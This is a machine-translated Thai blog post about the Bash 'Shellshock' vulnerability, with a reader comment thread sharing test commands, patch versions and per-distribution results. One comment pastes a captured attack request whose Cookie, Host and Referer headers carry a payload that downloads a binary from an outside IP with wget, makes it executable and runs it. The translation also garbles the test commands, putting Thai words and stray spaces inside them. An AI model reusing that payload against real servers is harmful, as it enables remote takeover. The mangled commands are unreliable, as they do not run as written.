มันทำงานเหมือนไฟป่าในบางบล็อกซึ่งเป็นรายการข่าวที่เผยแพร่ในไฟล์ บล็อกความปลอดภัย de หมวกสีแดง เกี่ยวกับช่องโหว่ที่พบใน Bash เนื่องจากการใช้ตัวแปรส่วนกลางในทางที่ผิด ตามข่าวต้นฉบับ:
“ …ช่องโหว่นี้เกิดจากการที่ตัวแปรสภาพแวดล้อมที่มีค่าที่สร้างขึ้นมาเป็นพิเศษสามารถสร้างขึ้นได้ก่อนที่จะเรียก bash shell ตัวแปรเหล่านี้สามารถมีโค้ดที่ดำเนินการทันทีที่เรียกใช้เชลล์ ชื่อของตัวแปรที่อธิบายไว้เหล่านี้ไม่สำคัญเพียง แต่เนื้อหาเท่านั้น. เป็นผลให้ช่องโหว่นี้ถูกเปิดเผยในหลายบริบทตัวอย่างเช่น:
- บังคับคำสั่ง ใช้ในคอนฟิกูเรชัน sshd เพื่อจัดเตรียมความสามารถในการดำเนินการคำสั่งที่ จำกัด สำหรับผู้ใช้ระยะไกล ข้อบกพร่องนี้สามารถใช้เพื่อหลีกเลี่ยงและดำเนินการตามคำสั่งโดยพลการ การใช้งาน Git และการโค่นล้มบางอย่างใช้เชลล์ที่ จำกัด ดังกล่าว การใช้ OpenSSH เป็นประจำจะไม่ได้รับผลกระทบเนื่องจากผู้ใช้มีสิทธิ์เข้าถึงคอนโซลอยู่แล้ว.
- เซิร์ฟเวอร์ Apache ที่ใช้ mod_cgi หรือ mod_cgid จะได้รับผลกระทบหากสคริปต์ CGI ถูกเขียนทั้งใน bash หรือ spawn sublevels ระดับย่อยดังกล่าวถูกใช้โดยปริยายโดย system / popen ใน C โดย os.system / os.popen ใน Python หากใช้ system / exec shell ใน PHP (เมื่อทำงานในโหมด CGI) และเปิด / ระบบใน Perl (ซึ่งขึ้นอยู่กับสตริงคำสั่ง)
- สคริปต์ PHP ที่ทำงานด้วย mod_php จะไม่ได้รับผลกระทบแม้ว่าจะเล่นระดับย่อย
- ไคลเอ็นต์ DHCP เรียกใช้เชลล์สคริปต์เพื่อกำหนดค่าระบบด้วยค่าที่นำมาจากเซิร์ฟเวอร์ที่อาจเป็นอันตราย สิ่งนี้จะอนุญาตให้เรียกใช้คำสั่งโดยพลการโดยปกติจะเป็นรูทบนเครื่องไคลเอ็นต์ DHCP
- daemons และโปรแกรมต่างๆที่มีสิทธิ์ SUID สามารถเรียกใช้เชลล์สคริปต์ด้วยค่าตัวแปรสภาพแวดล้อมที่กำหนด / ได้รับอิทธิพลจากผู้ใช้ซึ่งจะอนุญาตให้เรียกใช้คำสั่งโดยพลการ
- แอ็พพลิเคชันอื่น ๆ ที่เชื่อมต่อกับเชลล์หรือรันเชลล์สคริปต์เช่นการใช้ bash เป็นตัวแปล เชลล์สคริปต์ที่ไม่เอ็กซ์พอร์ตตัวแปรจะไม่เสี่ยงต่อปัญหานี้แม้ว่าจะประมวลผลเนื้อหาที่ไม่น่าเชื่อถือและเก็บไว้ใน ตัวแปรเชลล์ (ซ้าย) และระดับย่อยเปิด
... ”
จะรู้ได้อย่างไรว่าการทุบตีของฉันได้รับผลกระทบหรือไม่?
ด้วยเหตุนี้จึงมีวิธีง่ายๆในการทราบว่าเราได้รับผลกระทบจากช่องโหว่นี้หรือไม่ อันที่จริงฉันทดสอบกับ Antergos ของฉันและเห็นได้ชัดว่าฉันไม่มีปัญหา สิ่งที่เราต้องทำคือเปิด Terminal และใส่:
env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"
ถ้ามันออกมาเป็นแบบนี้เราก็ไม่มีปัญหา:
env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ" bash: คำเตือน: x: ไม่สนใจคำจำกัดความของฟังก์ชันพยายามทุบตี: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ `x' นี่คือการทดสอบ
หากผลลัพธ์แตกต่างกันคุณควรใช้ช่องทางการอัปเดตของการแจกแจงที่เราต้องการเพื่อดูว่าพวกเขาได้ใช้โปรแกรมแก้ไขแล้วหรือไม่ รู้ไหม😉
อัปเดต: นี่คือผลลัพธ์จากเพื่อนร่วมงานที่ใช้ Ubuntu 14:04:
env x = '() {:;}; เสียงสะท้อน 'bash -c "ที่มีช่องโหว่นี้เป็นการทดสอบ" เสี่ยงว่านี่คือการทดสอบ
อย่างที่คุณเห็นจนถึงตอนนี้มันมีช่องโหว่
ฉันมี Kubuntu 14.04 จาก 64 และได้รับ:
env x = '() {:;}; echo ที่เปราะบาง 'bash -c "echo นี่คือการทดสอบ"
อ่อนแอ
นี่คือการทดสอบ
ฉันอัปเดตแล้ว แต่ไม่ถูกต้อง จะทำอย่างไร?
รอให้พวกเขาอัปเดต อัพเดท eOS แล้วเช่น .. 😀
แปลกยังไงฉันก็มี Kubuntu 14.04 ด้วย
$ env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"
bash: คำเตือน: x: ละเว้นความพยายามในการกำหนดฟังก์ชัน
bash: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ "x '
นี่คือการทดสอบ
ฉันเพิ่มว่าเวอร์ชันของแพ็คเกจ "bash" ที่ดาวน์โหลดในวันนี้คือ:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
ในกรณีของฉันการให้คำสั่งมันให้สิ่งต่อไปนี้แก่ฉันในเทอร์มินัล:
>
อย่างไรก็ตามเรื่องตลกคือฉันอัปเดต Debian Wheezy และนั่นคือสิ่งที่ทิ้งฉันไป
Wheezy ยังคงเสี่ยงต่อส่วนที่สองของข้อบกพร่องอย่างน้อยในช่วงบ่าย (UTC -4: 30) ปัญหายังคงตามมา: /
ฉันเพิ่งตรวจสอบว่าหลังจากใช้การอัปเดตเมื่อเช้านี้ทั้ง Slackware หรือ Debian หรือ Centos ไม่ได้รับผลกระทบเนื่องจากได้รับการอัปเดตที่เกี่ยวข้อง
อะไรทำให้ Ubuntu ยังคงมีช่องโหว่ในชั่วโมงนี้ และบอกฉันว่าปลอดภัย: D.
แต่คุณลองอัปเดต Ubuntu แล้วหรือยัง?
ด้วยการอัปเดตในวันนี้พวกเขาได้ทำการแก้ไขแล้ว
OK
ผู้เชี่ยวชาญด้านความปลอดภัยเตือนถึงช่องโหว่ 'Bash' ซึ่งอาจก่อให้เกิดภัยคุกคามต่อผู้ใช้ซอฟต์แวร์ Linux มากกว่าบั๊ก Heartbleed ซึ่งแฮกเกอร์สามารถใช้ประโยชน์จากข้อบกพร่องใน Bash เพื่อควบคุมระบบได้อย่างสมบูรณ์
Tod Beardsley ผู้จัดการฝ่ายวิศวกรรมของ Rapid7 บริษัท รักษาความปลอดภัยทางไซเบอร์เตือนว่าข้อบกพร่องดังกล่าวได้รับการจัดอันดับ 10 สำหรับความรุนแรงซึ่งหมายความว่ามีผลกระทบสูงสุดและได้รับการจัดอันดับ "ต่ำ" สำหรับความซับซ้อนของการใช้ประโยชน์ซึ่งหมายความว่าค่อนข้างง่ายสำหรับ 'แฮ็กเกอร์' การโจมตี ด้วยการใช้ช่องโหว่นี้ผู้โจมตีอาจเข้าควบคุมระบบปฏิบัติการเข้าถึงข้อมูลที่เป็นความลับทำการเปลี่ยนแปลง ฯลฯ "Beardsley กล่าว "ใครก็ตามที่มีระบบที่ครอบครอง Bash ควรใช้แพทช์ทันที" เขากล่าวเสริม
ก่อนที่ความเสี่ยงนี้จะแสดงเครื่องมือเก่า (GNU) ที่ Bach โฮสต์อยู่ซอฟต์แวร์ Linux จะสะดวกกว่าในการกำจัด GNU และเปลี่ยนเครื่องมือ BSD
PS: อย่าเซ็นเซอร์เสรีภาพในการแสดงออกของฉัน ... อย่าดูถูกใคร ... อย่าลบข้อความของฉันเหมือนข้อความก่อนหน้าที่ฉันลบไป!.
โปรดอย่าหักโหมเกินไป ฉันเกลียดคนที่ใช้ BSD และดูถูก GNU, Linux หรืออะไรก็ตามจากโครงการเหล่านี้
ฉันอยู่กับคุณและคุณมีความเหมาะสมอย่างยิ่งกับความรุนแรงของหลุมนี้
ไม่ใช่การเซ็นเซอร์ แต่เป็นความซ้ำซ้อน (คุณได้แสดงความคิดเห็นเดียวกันในโพสต์ Gnome 3.14)
« ... และให้คะแนน 'ต่ำ' เนื่องจากความซับซ้อนของการแสวงหาประโยชน์ซึ่งหมายความว่ามันค่อนข้างง่ายสำหรับการโจมตีของแฮ็กเกอร์»
ความไม่ลงรอยกันเป็นที่สังเกตได้หรือไม่?
มันจะง่ายต่อการใช้ประโยชน์จากช่องโหว่ได้อย่างไรและในขณะเดียวกันก็มีระดับความเสี่ยง "ต่ำ" เนื่องจากมีความซับซ้อนในการใช้งาน
เป็นข้อบกพร่องที่ได้รับการแก้ไขภายในไม่กี่ชั่วโมงหลังการประชุมและเช่นเดียวกับใจป้ำไม่มีรายงานว่าถูกเอาเปรียบ (แน่นอนว่ามีเวลาน้อยกว่าที่จะรู้จักกัน)
เป็นการกดแท็บลอยด์มากกว่าความเสี่ยงจริง
@Staff ดูไม่สำคัญกับคุณหรือเปล่า? คุณจะบอกอะไรฉันตอนนี้?
รับ / HTTP/1.0
. ผู้ใช้ตัวแทน:. ขอบคุณ - ร็อบ
. คุกกี้: (). {.:;.};. wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
. โฮสต์: (). {.:;.};. wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
. ผู้อ้างอิง: (). {.:;.};. wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
. ยอมรับ:. * / *
$ ไฟล์ nginx
nginx: ELF 32 บิต LSB ปฏิบัติการ, Intel 80386, เวอร์ชัน 1 (SYSV), ลิงก์แบบคงที่, สำหรับ GNU / Linux 2.6.18, ถูกถอดออก
$md5sum nginx.xml
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
คุณรู้ไหมว่ามันคืออะไร? ไม่มีอะไรอันตรายเล็กน้อย ...
สถานการณ์ค่อนข้างร้ายแรง แต่จากที่นั่นเพื่อบอกว่าคุณควรหยุดใช้ bash สำหรับตัวเลือก BSD มันก็มีมากอยู่แล้วอย่างไรก็ตามการอัปเดตมีอยู่แล้วฉันแค่แตะการอัปเดตและไม่มีอะไรอื่น
ตอนนี้ PD ฉันคิดว่ามันเป็นเพื่อนร่วมงานมากกว่า @robet ฉันไม่คิดว่าที่นี่ผู้ดูแลระบบจะทุ่มเทให้กับการลบความคิดเห็นเช่นนี้เพราะใช่เพราะตั้งแต่ฉันเข้าร่วมในชุมชนนี้ฉันมีความรู้สึกนั้นและฉันหวังว่ามันจะคงอยู่อย่างนั้น ทาง.
อาศิรพจน์
คุณใส่ความคิดเห็นเดียวกันในสองโพสต์ที่แตกต่างกัน หากคุณพยายามโปรโมต "ที่มา" ของข่าวขออภัยนี่ไม่ใช่สถานที่
Bash มาจาก Unix (และ GNU clone) ระบบที่ใช้ BSD เช่น OSX ก็ได้รับผลกระทบเช่นกันและตาม Genbeta ยังไม่ได้ทำการแก้ไข ในทำนองเดียวกันในการเข้าถึง Bash คุณต้องมีบัญชีผู้ใช้ไม่ว่าจะในระบบหรือผ่าน SSH
@ พนักงาน:
1.- จัดอยู่ในระดับ 10 (ระดับอันตรายสูงสุด) เนื่องจากจำนวนบริการที่อาจได้รับผลกระทบจากข้อบกพร่อง ในหมายเหตุหลักพวกเขาให้ความจริงชัดเจนมากโดยอ้างว่าจุดบกพร่องอาจส่งผลต่อบริการต่างๆเช่น apache, sshd, โปรแกรมที่มีสิทธิ์ suid (xorg และอื่น ๆ )
2.- จัดอยู่ในระดับความยากต่ำเมื่อพูดถึงการนำไปใช้งานและตัวอย่างที่ดีที่สุดคือสคริปต์ทดสอบช่องโหว่ที่ @elav ได้วางไว้ในโพสต์ อย่างที่เห็นไม่ได้ยากมาก
ฉันไม่เห็นความซ้ำซ้อนในข้อมูล (ฉันเห็นเฉพาะคำแปลของ Google) และหากปัญหาค่อนข้างร้ายแรงและอย่างที่คุณบอกว่ามันมีแพตช์และวิธีแก้ปัญหาอยู่แล้ว แต่ไม่ใช่สำหรับสิ่งนั้นก็จะไม่มีความเสี่ยงอีกต่อไป และเป็นของจริง
@petercheco / @ ยูคิเทรุ
อย่าตีความฉันผิดฉันคิดว่าเป็นที่ชัดเจนว่าคำวิจารณ์ของฉันคือข่าวที่ Robet เชื่อมโยงและมุ่งเน้นไปที่ความไม่ลงรอยกันและไม่ซ้ำซ้อน
ในทำนองเดียวกันเราต้องแยกความแตกต่างระหว่างความเสี่ยงและอันตราย (ฉันไม่ได้กล่าวถึงอย่างหลัง) เรามักใช้เป็นคำพ้องความหมาย แต่ที่นี่อันตรายจะเป็นความสามารถในการเสียหายของข้อบกพร่องและความเสี่ยงต่อความน่าจะเป็นที่จะเกิดขึ้น
ในกรณีเฉพาะของฉันฉันเข้ามาจากเมื่อวานนี้ มันไม่ได้มีไว้สำหรับรายชื่อส่งเมลหรืออะไรทำนองนั้นมันมีไว้สำหรับเดสก์ท็อป ฉันหยิบโทรศัพท์ขึ้นมาและส่งข้อความไปยัง sysadmin พร้อมลิงก์และฉันยืนยันว่าฉันได้รับการแก้ไขทุกอย่างแล้วขอโทษด้วย แต่ข่าวเหล่านี้ไม่ทำให้ฉันตื่น
ในฟอรัมอื่น ๆ พวกเขาพูดถึงช่องโหว่ Bash "โซลูชันที่ Debian และ Ubuntu เปิดตัว" แต่วันนี้พวกเขาพบว่ายังมีช่องโหว่อยู่ดังนั้นการแก้ปัญหาจึงไม่สมบูรณ์พวกเขาพูดถึงเรื่องนั้น!
ฉันเห็นว่าหลายคนวิพากษ์วิจารณ์ฉันถึงความจริงง่ายๆในการป้องกันผู้คนจากความรุนแรงของช่องโหว่ - มีคุณสมบัติเป็นอันตรายสูงสุดระดับ 10 และกล่าวถึงโซลูชันที่เป็นไปได้สำหรับซอฟต์แวร์ Linux ก่อนที่เครื่องมือ GNU ที่ล้าสมัยซึ่ง Bash เป็นโฮสต์ - ซึ่ง GNU ทำได้อย่างสมบูรณ์แบบ ถูกแทนที่ด้วยเครื่องมือ BSD ในซอฟต์แวร์ Linux ... ฉันใช้ Linux ด้วยและฉันชอบ Linux!
ฉันชี้แจงว่า Bash ไม่ได้ติดตั้งมาตามค่าเริ่มต้นใน BSD ซึ่งเป็นแพ็คเกจความเข้ากันได้ของ Linux อีกหนึ่งชุดที่สามารถติดตั้งใน BSD ได้ ... ใช่! และมีการใส่แหล่งที่มาเพื่อให้พวกเขาสามารถตรวจสอบข่าวได้เนื่องจากบางครั้งผู้ใช้หลายคนไม่เชื่อข้อความหรือความคิดเห็น
robet: ตามที่พวกเขาบอกคุณซ้ำแล้วซ้ำเล่าคุณได้แสดงความคิดเห็นพร้อมกับข่าวในโพสต์แล้วคุณไม่จำเป็นต้องใส่ไว้ในทุกโพสต์ที่คุณแสดงความคิดเห็น
เกี่ยวกับ bash เนื่องจากมีเชลล์อื่น ๆ ที่สามารถใช้ได้ในกรณีที่ Bash มีช่องโหว่ 😉
Robet จากความรู้ของฉันไม่มีซอฟต์แวร์ใดที่รวมเคอร์เนล linux กับ userland BSD สิ่งที่ใกล้เคียงที่สุดคืออีกทางหนึ่ง kBSD + GNU เช่น Gentoo และ Debian นอกจากนี้ GNU (1983) ไม่สามารถเรียกได้ว่า "ล้าสมัย" หากเป็นหลัง BSD (1977) ทั้งคู่แชร์ราก Unix (แต่ไม่ใช่รหัส) จะไม่มี "ความเข้ากันได้ของ Linux" ถ้า Bash ถูกสร้างขึ้นเมื่อ Linus T ยังเป็นเด็ก
เอ่อการทดสอบเดเบียนในเวลานี้ "เสี่ยง" สิ่งที่เรามี ...
ฉันใช้ Debian Testing และแม้แต่ในสาขานี้เราก็ได้รับการอัปเดต bash
ตาม genbeta นอกจากนี้ยังมีช่องโหว่อื่น
http://seclists.org/oss-sec/2014/q3/685
คำสั่งในการปรึกษาคือ
env X = '() {(a) => \' sh -c "echo โหว่"; bash -c "echo Failure 2 unpatched"
เหมือนกันกับฉัน
เหมือนกันที่นี่ แต่ข้อผิดพลาดดั้งเดิมในโพสต์ได้รับการแก้ไขใน (L) Ubuntu 14.04
แทนที่จะทำเสียงสะท้อนง่ายๆพยายามทำให้มันดำเนินการตามคำสั่งที่ต้องใช้สิทธิ์ฉันโยน "สิทธิ์ไม่เพียงพอ" ... ข้อผิดพลาดนี้ไม่เพิ่มสิทธิ์?
คุณถูก!! พวกเขาเป็นสองช่องโหว่ ...
สำหรับฉันใน Linux Mint 17 หลังจากการอัปเดต bash ครั้งที่สองที่พวกเขาใส่ไว้ในที่เก็บ Ubuntu เมื่อคืนที่ผ่านมาเมื่อดำเนินการคำสั่งนั้นเชลล์จะเสนอผลลัพธ์นี้:
env X = '() {(a) => \' sh -c "echo โหว่"; bash -c "echo Fail 2 unpatched"
>
เวอร์ชันของ "bassh" ที่ใส่ในที่เก็บ Ubuntu เพื่ออัปเดตเวอร์ชันก่อนหน้าคือ:
4.3-7ubuntu1.2
บนระบบที่ได้รับ Debian คุณสามารถตรวจสอบเวอร์ชันที่ติดตั้งด้วยคำสั่งนี้:
dpkg -s bash | grep Version
ไม่ว่าในกรณีใดควรชี้แจงอย่างน้อยสำหรับผู้ใช้ Debian, Ubuntu และ Mint คุณไม่ควรกังวลกับโปรแกรมที่รันสคริปต์ด้วยส่วนหัว #! / bin / sh เพราะในการแจกแจง / bin / sh เหล่านั้นไม่เรียก "bash" แต่ผูกกับเชลล์ "dash" (เส้นประคือ :)
Debian Alchemist Console (เส้นประ) เป็นคอนโซล POSIX ที่ได้รับมา
ของเถ้า
.
เนื่องจากรันสคริปต์เร็วกว่า bash และมีการอ้างอิงน้อยกว่า
ของไลบรารี (ทำให้มีประสิทธิภาพมากขึ้นจากความล้มเหลวของซอฟต์แวร์หรือ
ฮาร์ดแวร์) ใช้เป็นคอนโซลระบบเริ่มต้นบนระบบ
Debian
ดังนั้นอย่างน้อยใน Ubuntu จึงใช้ "bash" เป็นเชลล์สำหรับล็อกอินผู้ใช้ (เช่นเดียวกับผู้ใช้รูท) แต่ผู้ใช้ทุกคนสามารถใช้เชลล์อื่นได้ตามค่าเริ่มต้นสำหรับคอนโซลผู้ใช้และรูทคอนโซล (เทอร์มินัล)
ง่ายต่อการตรวจสอบว่าเชลล์รันสคริปต์ (#! / bin / sh) โดยดำเนินการคำสั่งเหล่านี้:
ไฟล์ / bin / sh
(ผลลัพธ์คือ / bin / sh: ลิงก์สัญลักษณ์ไปที่ `` dash ') เราทำตามการติดตามซ้ำคำสั่ง
ไฟล์ / bin / dash
(เอาต์พุตคือ / bin / dash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV) ดังนั้นนี่จึงเป็นไฟล์ปฏิบัติการ
นี่คือผลลัพธ์ในการแจกจ่าย Linux Mint 17 สำหรับการแจกแจงอื่น ๆ ที่ไม่ใช่ Ubuntu / Debian อาจแตกต่างกัน
เปลี่ยนเชลล์เริ่มต้นได้ไม่ยาก !! คุณยังสามารถใช้อันอื่นสำหรับผู้ใช้และสำหรับผู้ใช้รูท จริงๆแล้วคุณต้องติดตั้งเชลล์ที่คุณเลือกและเปลี่ยนค่าเริ่มต้นด้วยคำสั่ง "chsh" หรือโดยการแก้ไขไฟล์ / etc / passwd (แม้ว่าผู้ใช้ที่ไม่ทราบผลของข้อผิดพลาดเมื่อแก้ไขไฟล์ "passwd" เป็นการดีกว่าที่พวกเขาจะแจ้งตัวเองเป็นอย่างดีและก่อนที่จะแก้ไขให้ทำสำเนาต้นฉบับในกรณีที่จำเป็นต้องกู้คืน)
ฉันรู้สึกสบายใจกับ "tcsh" มากขึ้น (tcsh คือ :)
คอนโซล TENEX C ซึ่งเป็นรุ่นปรับปรุงของ Berkeley csh
"Csh" คือสิ่งที่ Mac OS X ใช้เมื่อสองสามปีก่อน ซึ่งสมเหตุสมผลเมื่อพิจารณาว่าระบบปฏิบัติการของ Apple ส่วนใหญ่เป็นรหัส FreeBSD ตอนนี้จากสิ่งที่ฉันอ่านเมื่อวานดูเหมือนว่าพวกเขายังมี "bash" สำหรับเทอร์มินัลผู้ใช้
สรุป:
- เวอร์ชัน "bash" ที่ได้รับการแก้ไขสำหรับการแจกแจงที่ใช้บ่อยที่สุดได้รับการแจกจ่ายแล้ว
- "bash" เวอร์ชัน 4.3-7ubuntu1.2 และใหม่กว่าไม่มีจุดบกพร่องเหล่านี้
- ไม่บังคับให้ใช้ "bash" ใน OS * Linux
- ลิงก์ดิสทริบิวชัน Linux * เพียงไม่กี่ลิงก์ #! / bin / sh ที่มี "bash"
- มีทางเลือกอื่น: ash, dash, csh, tcsh และอื่น ๆ อีกมากมาย
- ไม่ซับซ้อนในการเปลี่ยนเชลล์เริ่มต้นที่ระบบเรียกใช้เมื่อเปิดเทอร์มินัล
- อุปกรณ์เล็ก ๆ น้อย ๆ (เราเตอร์และอื่น ๆ ) ใช้ "ทุบตี" เพราะมันใหญ่มาก !!
ตอนนี้การอัปเดตอื่นเพิ่งมาถึงซึ่งติดตั้งเวอร์ชันอื่นของ "bash" 4.3-7ubuntu1.3
สำหรับ Linux Mint 17 และ Ubuntu 14.04.1 LTS
ArchLinux เข้าสู่เวอร์ชัน bash-4.3.026-1
@ Xurxo … .csh จาก Berkeley?, …คุณเข้าใจบางอย่างในสิ่งที่ฉันพูดข้างต้นและจะดีกว่าถ้าใช้ BSD“ csh” …แทนที่จะเป็นเครื่องมือ GNU แบบเก่าที่ Bash โฮสต์อยู่ เครื่องมือนั้นดีที่สุดสำหรับซอฟต์แวร์ Linux
ฉันเดาว่านี่คือข้อบกพร่อง
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
จริงหรือ?
แล้วทางออกจะเป็นอย่างไร
รอให้พวกเขาอัปเดตแพ็คเกจบน distro ของคุณ😉
บั๊กถูกบัพติศมาเป็นหอย
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
อ่อนแอ
นี่คือการทดสอบ
ยังไม่มีการแก้ไขสำหรับ Ubuntu Studio 14.04
ซ่อมแซมใน Ubuntu Studio 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"
bash: คำเตือน: x: ละเว้นความพยายามในการกำหนดฟังก์ชัน
bash: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ "x '
นี่คือการทดสอบ
จริงๆแล้วมันเป็นช่องโหว่เล็กน้อยถ้ามันมีผลกับคุณแสดงว่าคุณเคยทำอะไรผิดพลาดมาก่อน ...
เนื่องจากสคริปต์ทุบตีที่รันด้วยสิทธิ์ root ไม่ควรเปิดเผยต่อผู้ใช้ และถ้าเขาทำงานโดยไม่มีสิทธิพิเศษก็ไม่มีความรังแก จริงๆแล้วมันเป็นเรื่องไร้สาระ น่ากลัวมาก
ก็คิดเหมือนกัน.
ในการขายหนังสือพิมพ์มากขึ้นหรือได้รับการเยี่ยมชมมากขึ้นข้อบกพร่องเหล่านี้เป็นสิ่งที่ดี
แต่พวกเขามักจะลืมที่จะพูดถึงว่าในการที่จะประนีประนอมคอมพิวเตอร์ด้วยสคริปต์ประเภทนี้คุณต้องเข้าถึง bash ก่อนแล้วจึงกำหนดให้เป็น root
staff ถ้าคุณใช้ apache กับ cgi ให้ใส่ส่วนหัว http เป็นคุกกี้หรืออ้างอิงฟังก์ชันที่คุณต้องการเรียกใช้ มันถูกใช้เพื่อแพร่กระจายหนอน
และถ้ามีคนนำเชลล์ไปยังเซิร์ฟเวอร์ด้วย wget mishell.php ในกรณีนั้นมันไม่ร้ายแรงใช่ไหม
เห็นด้วยกับคุณ. ฉันคิดว่ามันเป็นข้อผิดพลาดที่ยิ่งใหญ่เช่นเดียวกับ Heartbleed (แม้แต่ NSA ก็ยืมตัวเองเพื่อกระตุ้นความเจ็บป่วย) แต่ท้ายที่สุดแล้วมันก็เป็นข้อบกพร่องเล็กน้อย
มีข้อบกพร่องที่ร้ายแรงอื่น ๆ เช่นการใช้ Flash อย่างบ้าคลั่งและการชะลอตัวของประสิทธิภาพใน Pepper Flash Player และสิ่งที่ได้รับการแก้ไขแล้ว ข้อผิดพลาด webRTC ใน Chrome และ Firefox.
คุณรู้หรือไม่ว่ามีการจัดเตรียมสำหรับผู้ที่มี Linux Mint 16 หรือไม่?
ในการทดสอบ Debian ได้รับการแก้ไขแล้ว
ใน 5 distros ของฉันได้รับการแก้ไขแล้วใน OS X ของฉันฉันไม่รู้
โปรดอย่าเซ็นเซอร์ความคิดเห็นของฉันฉันพูด OS X ฉันไม่รู้ว่าคุณสามารถพูด OS X ในไซต์นี้ได้หรือไม่
@yoyo อย่าแปลกมากเกินไปที่พวกเขายังคงทำงานกับรายละเอียดบางอย่างของแพทช์ ... ลองสิ่งนี้แล้วบอกฉันเดิน XD
env x = '() {:;}; echo เสี่ยง 'bash -c "echo ฉันเสี่ยงกว่าถังขยะ iphone 6"
ว่าถ้าพวกเขาแก้ไขได้ 100% ก่อน OS X ฉันจะเดิมพันอะไร
แม้ว่าใน Ars Technica จะให้ความเกี่ยวข้องกับ Bash ใน OSX
@ โยโย่ความคิดเห็นถัดไป OS X สำหรับ SPAM .. lla tu save .. 😛
@yoyo ที่นั่นเพื่อแก้ไขคำพูด ... แต่ที่เหลือคุณก็รู้😉
FSF พูดแล้ว
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
เหมือนพวกเขาได้รับการอุปถัมภ์ OSX (เพราะ OSX ยังคงใช้ Bash: v)
อย่างไรก็ตามฉันไม่ต้องยุ่งกับ Debian Jessie มากนัก
หากระบบมีช่องโหว่บน Cent OS:
yum clean all && yum update bash
เพื่อดูเวอร์ชันทุบตี:
รอบต่อนาที -qa | grep ทุบตี
หากเวอร์ชันก่อนหน้า bash-4.1.2-15.el6_5.1 ระบบของคุณอาจมีช่องโหว่!
อาศิรพจน์
ช่องโหว่ที่ 2 ยังไม่ได้รับการแก้ไข
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Failure 2 unpatched"
กำลังอัปเดต ...
สิ่งที่ตรงกันข้ามเกิดขึ้นกับฉันใน Gentoo ฉันเสี่ยงต่อความล้มเหลวครั้งแรกเท่านั้น แต่ในครั้งที่สองฉันได้รับสิ่งนี้:
[code] sh: X: บรรทัด 1: ข้อผิดพลาดทางไวยากรณ์ใกล้กับองค์ประกอบที่ไม่คาดคิด `= '
sh: X: บรรทัด 1: ''
sh: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ `` X '
sh: เสี่ยง: ไม่พบคำสั่ง
ไม่ได้รับการแก้ไขข้อบกพร่อง 2
[/รหัส]
ฉันไม่รู้ว่าจะมี Bash เวอร์ชันเสถียรพร้อมกับบั๊กที่แก้ไขแล้วหรือไม่ แต่ไม่ว่าจะด้วยวิธีใดก็ตามมันจะรอดำเนินการในครั้งต่อไปที่ฉันทำ Emerge –sync && Emerge -update --deep –with-bdeps = และ - newuse @world (นั่นคือขั้นตอนที่ฉันอัปเดตระบบทั้งหมด)
ฉันมี Gentoo เวอร์ชัน 4.2_p50 และจนถึงตอนนี้ก็ผ่านการทดสอบทั้งหมดแล้ว ลองใช้ –sync ที่เกิดขึ้นแล้วโผล่ขึ้นมา -av1 app -hell / bash จากนั้นตรวจสอบว่าคุณมีเวอร์ชัน 4.2_p50 โดยใช้คำสั่ง bash --version
คุณลองสิ่งนี้แล้วหรือยัง?
และด้วยแพ็คเกจใหม่การทดสอบใหม่ที่ Red Hat มอบให้เรา
ซีดี / tmp; rm -f / tmp / ก้อง; env 'x = () {(a) => \' bash -c "echo date"; แมว / tmp / echo
หากระบบของเราไม่มีช่องโหว่และได้รับการแก้ไขอย่างถูกต้องระบบจะต้องให้สิ่งนี้แก่เรา
1 วันที่
2 cat: / tmp / echo: ไม่มีไฟล์หรือไดเร็กทอรี
ลองวิธีนี้:
env X = '() {(a) => \' sh -c "echo โหว่"; bash -c "echo Failure 2 ได้รับการแก้ไขแล้ว"
ฉันเข้าใจ
อ่อนแอ
แก้ไขข้อบกพร่อง 2 แล้ว
ลืมไปว่าไลน์มีรูปแบบไม่ดี
ยอดเยี่ยมฉันได้ทำการอัปเดต Slackware แล้วขอบคุณ!
สวัสดีมีคำถามเกิดขึ้นฉันมีเซิร์ฟเวอร์หลายตัวที่มี "SUSE Linux Enterprise Server 10" 64 บิต
เมื่อฉันดำเนินการตามคำสั่งฉันมีความเสี่ยงฉันเสี่ยงยิ่งกว่าการทิ้ง iPhone 6 xD เสียอีก
ถ้าฉันไม่ผิดที่จะอัปเดต / ติดตั้งแพ็คเกจใน SUSE ก็ทำได้ด้วยคำสั่ง« zypper »
ในบางเซิร์ฟเวอร์จะบอกฉันสิ่งนี้:
BIAL: ~ # zypper ขึ้น
-bash: zypper: ไม่พบคำสั่ง
BIAL: ~ #
และอื่น ๆ สิ่งนี้:
SMB: ~ # zypper ขึ้น
กำลังกู้คืนแหล่งที่มาของระบบ ...
การแยกวิเคราะห์ข้อมูลเมตาสำหรับ SUSE Linux Enterprise Server 10 SP2-20100319-161944 …
กำลังแยกวิเคราะห์ฐานข้อมูล RPM ...
สรุป:
ไม่มีอะไรทำ.
สิ่งที่ฉันทำ?
ฉันรู้ว่าบางคนบอกว่าช่องโหว่นั้นน้อยกว่าที่พวกเขาวาดไว้ แต่ฉันมีมันและฉันไม่อยากเสี่ยงไม่ว่าจะเล็กหรือใหญ่
อาศิรพจน์
